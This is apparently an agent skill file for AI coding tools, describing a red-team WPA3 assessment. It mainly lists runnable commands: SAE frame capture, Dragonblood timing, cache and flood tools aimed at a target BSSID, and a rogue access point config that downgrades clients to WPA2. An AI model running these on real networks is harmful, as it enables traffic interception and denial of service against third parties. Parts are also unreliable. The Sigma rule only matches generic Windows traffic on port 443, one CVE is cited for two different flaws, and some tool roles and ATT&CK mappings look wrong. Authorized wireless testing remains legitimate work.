<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-wpa3-security-assessment
description: >-
  WPA3-Personal and WPA3-Enterprise security assessment including SAE handshake analysis, Dragonfly protocol testing, transition mode downgrade attacks, and OWE evaluation for open networks.
domain: cybersecurity
subdomain: wireless-security
tags:
  - wpa3
  - sae
  - dragonfly
  - owe
  - wireless-assessment
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
  mitre-attack: ["T1557.002", "T1040", "T1600.001"]
  nist-csf: ["PR.AC-5", "DE.CM-1", "PR.DS-2"]
  uuid: 2bb9cf85-99f1-421a-b765-9b2d8fe31e1b
---

# Performing WPA3 Security Assessment

## Overview

WPA3 introduces Simultaneous Authentication of Equals (SAE) to replace WPA2-PSK's
vulnerable 4-way handshake, and Opportunistic Wireless Encryption (OWE) for open networks.
This technique validates WPA3 implementations for downgrade vulnerabilities, SAE side-channel
attacks (Dragonblood), transition mode weaknesses, and proper PMF enforcement. All testing
requires explicit written authorization.

Mode: `[MODE: RED]` for this technique.

## Prerequisites

| Requirement | Details |
|---|---|
| Wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH) | Required |
| aircrack-ng suite with WPA3 support | Required |
| Dragonblood testing tools (dragonslayer, dragondrain, dragontime, dragonforce) | Required |
| hostapd-wpe for rogue AP with WPA3 transition mode | Required |
| Written authorization / Rules of Engagement | Required |

## Key Concepts

### WPA3 Attack Surface

```
WPA3 Assessment Phases:
├── Protocol Analysis
│   ├── SAE handshake capture and analysis
│   ├── Dragonfly group negotiation validation
│   ├── PMF (Protected Management Frames) enforcement
│   └── OWE implementation verification
├── Downgrade Attacks
│   ├── WPA3-Transition mode forcing WPA2 fallback
│   ├── Group downgrade attacks (weaker elliptic curves)
│   ├── Anti-clogging token manipulation
│   └── SAE commit/confirm message replay
├── Side-Channel Attacks
│   ├── Timing-based password partitioning (Dragontime)
│   ├── Cache-based side channels
│   └── Resource exhaustion (Dragondrain)
└── Enterprise Assessment
    ├── 192-bit security mode validation
    ├── Certificate validation bypass attempts
    └── EAP-TLS configuration audit
```

### SAE Handshake Analysis

```bash
# Enable monitor mode for WPA3 capture
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Capture SAE authentication frames
sudo airodump-ng -c 36 --bssid $TARGET_BSSID -w wpa3_capture wlan0mon

# Filter SAE authentication frames in capture
tshark -r wpa3_capture-01.cap -Y "wlan.fc.type_subtype == 0x0b" \
  -T fields -e wlan.sa -e wlan.da -e wlan.fixed.auth.alg

# Check for transition mode (WPA2+WPA3 simultaneously)
sudo airodump-ng wlan0mon | grep -E "WPA3|SAE|OWE"
```

### Dragonblood Vulnerability Testing

```bash
# Test for SAE timing side-channel (CVE-2019-9494)
python3 dragontime.py -i wlan0mon -t $TARGET_BSSID -g 19 -n 100

# Test for SAE cache-based side-channel (CVE-2019-9494)
python3 dragonslayer.py -i wlan0mon -t $TARGET_BSSID -a sae_pk

# Resource exhaustion test — anti-clogging token flood
python3 dragondrain.py -i wlan0mon -t $TARGET_BSSID

# Group downgrade attack — force weaker elliptic curve
python3 dragonforce.py -i wlan0mon -t $TARGET_BSSID --group 22
```

### Transition Mode Downgrade Attack

```bash
# Create rogue AP mimicking target with WPA2-only
cat > /tmp/hostapd_downgrade.conf << EOF
interface=wlan1
ssid=$TARGET_SSID
channel=36
wpa=2
wpa_passphrase=testpassword
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

# Launch rogue AP forcing WPA2 association
sudo hostapd /tmp/hostapd_downgrade.conf

# Monitor for clients downgrading from WPA3 to WPA2
sudo airodump-ng -c 36 --bssid $(cat /sys/class/net/wlan1/address) -w downgrade wlan0mon
```

## Workflow

### Step 1: Pre-Engagement

Confirm scope includes WPA3 assessment and authorized BSSIDs.

```bash
# Document target WPA3 networks
sudo airodump-ng --band abg wlan0mon | grep SAE
```

### Step 2: Protocol Enumeration

```bash
# Identify WPA3 mode (SAE, OWE, transition)
sudo airodump-ng -c $CHANNEL --bssid $TARGET_BSSID wlan0mon

# Extract RSN capabilities from beacon frames
tshark -r capture.cap -Y 'wlan.fc.type_subtype == 0x08' \
  -T fields -e wlan.rsn.akms.type
```

### Step 3: Downgrade Testing

Execute transition mode downgrade attacks against WPA3-Transition APs.

### Step 4: Side-Channel Assessment

```bash
# Run timing analysis against SAE implementation
python3 dragontime.py -i wlan0mon -t $TARGET_BSSID -g 19 -n 200 --output timing.json
```

### Step 5: Reporting

Document all findings with severity ratings and WPA3-specific remediation.

## Detection

```yaml
title: Wpa3 Security Assessment Detection
id: 556b1ba7-7bde-4921-ade0-b9760dc4e97f
status: experimental
description: Detects suspicious activity related to performing wpa3 security assessment techniques in wireless security context
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationPort: 443
    Initiated: "true"
  condition: selection
level: medium
tags:
  - attack.t1557.002
  - attack.t1040
  - attack.t1600.001
  - attack.initial_access
falsepositives:
  - Wireless intrusion detection system performing routine monitoring
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Wpa3 Security Assessment Detection | windows/network_connection | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1557.002, T1040, T1600.001 |

## Verification

- [ ] SAE handshake frames captured and analyzed
- [ ] Transition mode downgrade tested if applicable
- [ ] Dragonblood vulnerability suite executed
- [ ] PMF enforcement validated on all WPA3 networks
- [ ] Findings documented with CVSS scoring

## References

- MITRE ATT&CK T1557.002 — ARP Cache Poisoning
- MITRE ATT&CK T1600.001 — Reduce Key Space
- Dragonblood: Analyzing the Dragonfly Handshake of WPA3 (Vanhoef & Ronen)
- [WPA3 Specification](https://www.wi-fi.org/discover-wi-fi/security)
